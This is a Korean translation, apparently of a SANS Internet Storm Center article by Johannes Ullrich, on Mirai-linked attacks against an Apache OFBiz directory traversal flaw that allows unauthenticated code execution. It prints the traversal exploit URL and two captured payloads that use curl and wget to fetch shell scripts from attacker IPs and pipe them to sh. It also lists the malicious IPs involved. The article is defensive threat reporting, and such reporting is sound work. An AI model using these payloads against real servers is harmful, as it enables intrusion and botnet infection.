기업 자원 계획(ERP) 소프트웨어는 많은 기업 지원 인적 자원, 회계, 운송 및 제조의 핵심입니다. 이러한 시스템은 매우 복잡하고 유지 관리하기 어려울 수 있습니다. 종종 고도로 사용자 지정되어 패치 적용이 어려울 수 있습니다. 그러나 중요한 취약성은 이러한 시스템에 계속 영향을 미치고 중요한 비즈니스 데이터를 위험에 빠뜨립니다.
SANS 인터넷 스톰 센터는 오픈소스 ERP 프레임워크 OFBiz가 현재 새로운 종류의 Mirai 봇넷의 표적이 되고 있다는 내용을 보여주는 보고서를 발표했습니다.
Apache Foundation은 광범위한 프로젝트 포트폴리오의 일부로 ERP(Enterprise Resource Planning) 애플리케이션을 만드는 Java 기반 프레임워크인 OFBiz를 지원합니다. OFBiz는 상업적 대안보다 훨씬 덜 널리 퍼져 있는 것으로 보입니다. 그러나 다른 ERP 시스템과 마찬가지로 조직은 민감한 비즈니스 데이터를 위해 OFBiz에 의존하며 이러한 ERP 시스템의 보안은 매우 중요합니다.
올해 5월, OFBiz에 대한 중요 보안 업데이트가 출시되었습니다. 이 업데이트는 원격 명령 실행으로 이어질 수 있는 디렉터리 트래버설 취약성을 수정했습니다. 18.12.13 이전의 OFBiz 버전이 영향을 받았습니다. 몇 주 후에 취약성에 대한 세부 정보가 공개되었습니다.
디렉토리 트래버설 또는 경로 트래버설 취약성은 액세스 제어 규칙을 우회하는 데 사용될 수 있습니다. 예를 들어, 사용자가 “/public” 디렉토리에는 액세스할 수 있지만 “/admin” 디렉토리에는 액세스할 수 없는 경우 공격자는 “/public/../admin”과 같은 URL을 사용하여 액세스 제어 논리를 속일 수 있습니다. 최근 CISA와 FBI는 “Secure by Design” 이니셔티브의 일환으로 디렉토리 트래버설에 초점을 맞춘 경고를 발표했습니다. CISA는 현재 “알려진 악용 취약성”(KEV) 카탈로그의 일부로 55개의 디렉토리 트래버설 취약성을 추적하고 있다고 지적했습니다.
OFBiz의 경우, 디렉토리 트래버설은 세미콜론을 삽입하면 쉽게 트리거됩니다. 공격자가 찾아야 하는 것은 액세스할 수 있는 URL과 세미콜론을 추가한 다음 제한된 URL을 추가하는 것입니다. 현재 우리가 보고 있는 익스플로잇 URL은 다음과 같습니다.
/webtools/control/forgotPassword;/ProgramExport
사용자는 먼저 로그인하지 않고도 비밀번호를 재설정할 수 있어야 하기 때문에 “forgotPassword”는 어떠한 인증도 필요하지 않습니다. 반면 “ProgramExport”는 액세스 제어되어야 하며 사용자가 로그인하지 않는 한 접근할 수 없습니다. “ProgramExport”는 임의의 코드 실행을 허용한다는 점에서 특히 위험합니다. OFBiz의 잘못된 논리는 세미콜론에서 URL을 평가하지 못하게 했습니다. 이를 통해 모든 사용자는 로그인하지 않고도 URL의 두 번째 부분인 “/ProgramExport”에 액세스할 수 있었습니다.
공격자는 취약성을 악용하기 위해 POST 요청을 사용해야 하지만 반드시 요청 본문이 필요한 것은 아닙니다. 대신 URL 매개변수가 잘 작동합니다.
SANS 인터넷 스톰 센터는 광범위한 허니팟 네트워크를 사용하여 광범위한 웹 애플리케이션 취약성을 악용하려는 시도를 감지합니다. 상당한 새로운 악용 시도는 “First Seen” 보고서에 요약되어 있습니다. 이번 주말에 이러한 센서는 OFBiz가 언급한 디렉터리 트래버설 취약성인 CVE-2024-32213을 악용하려는 시도가 상당히 증가한 것을 감지했으며, 이는 “First Seen” 보고서에서 즉시 확인되었습니다.
이러한 악용 시도는 두 개의 서로 다른 IP 주소에서 시작되었으며, 이는 IoT 기기를 악용하려는 다양한 시도와도 연관이 있었으며, 일반적으로 현재 변종인 “Mirai” 봇넷과 관련이 있습니다.
악의적인 사람들은 두 가지 형태의 익스플로잇을 사용했습니다. 첫 번째는 익스플로잇이 실행하려고 하는 명령을 포함하는 URL을 사용했습니다.
POST /webtools/control/forgotPassword;/ProgramExport?groovyProgram=groovyProgram=throw+new+Exception('curl https://95.214.27.196/where/bin.sh
두 번째는 명령에 대한 요청 본문을 사용했는데, 이는 “POST” 요청에 더 일반적입니다.
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1 User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0 Host: (victim IP address) Accept: */* Upgrade-Insecure-Requests: 1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 147 groovyProgram=throw+new+Exception('curl https://185.196.10.231/sh | sh -s ofbiz || wget -O- https://185.196.10.231/sh | sh -s ofbiz'.execute().text);
안타깝게도 “bin.sh”나 “sh” 스크립트는 복구되지 않았습니다. IP 주소는 7월 29일에 사용자 에이전트 “KrebsOnSecurity”를 사용하여 스캔에 포함되었습니다. 이는 정보 보안 블로거 Brian Krebs에게 경의를 표하는 것입니다. 그러나 스캔된 URL은 대부분 기생적이었고, 이전 공격에서 남겨진 기존 웹 셸을 찾았습니다. IP 주소는 또한 “botx.arm”이라는 파일을 배포하는 데 사용되었습니다. 이 파일 이름은 종종 Mirai 변종과 관련이 있습니다.
5월에 취약점이 발표되면서, 우리는 OFBiz 취약점을 이용하기 위한 스캔을 기다리고 있었습니다. 악용은 사소한 일이었고, 취약하고 노출된 인구가 적지만, 과거에는 공격자들을 막지 못했습니다. 하지만 그들은 이제 최소한 실험을 하고 있고 Mirai 변종과 같은 봇에 취약점을 추가할 수도 있습니다.
관련된 IP는 몇 개뿐입니다.
- 95.214.27.196: URL 매개변수로 익스플로잇을 전송하고 맬웨어를 호스팅합니다.
- 83.222.191.62: 요청 본문으로 익스플로잇을 전송합니다. 185.196.10.231에서 호스팅된 맬웨어입니다. 7월 초에 이 IP는 IoT 취약성을 스캔했습니다.
- 185.196.10.231: 맬웨어 호스팅
이 기사가 흥미롭고 웹 애플리케이션, API, 마이크로서비스 보안의 세계를 더 자세히 알아보고 싶으시다면, 9월 4-9일 Network Security 2024에서 저의 과정인 SEC522에 참여하실 수 있습니다. 여기에서 이벤트에서 제공되는 모든 내용을 확인하세요.
메모: 이 기사는 SANS 기술 연구소의 연구 책임자인 요하네스 울리히 박사가 작성하고 기여했습니다.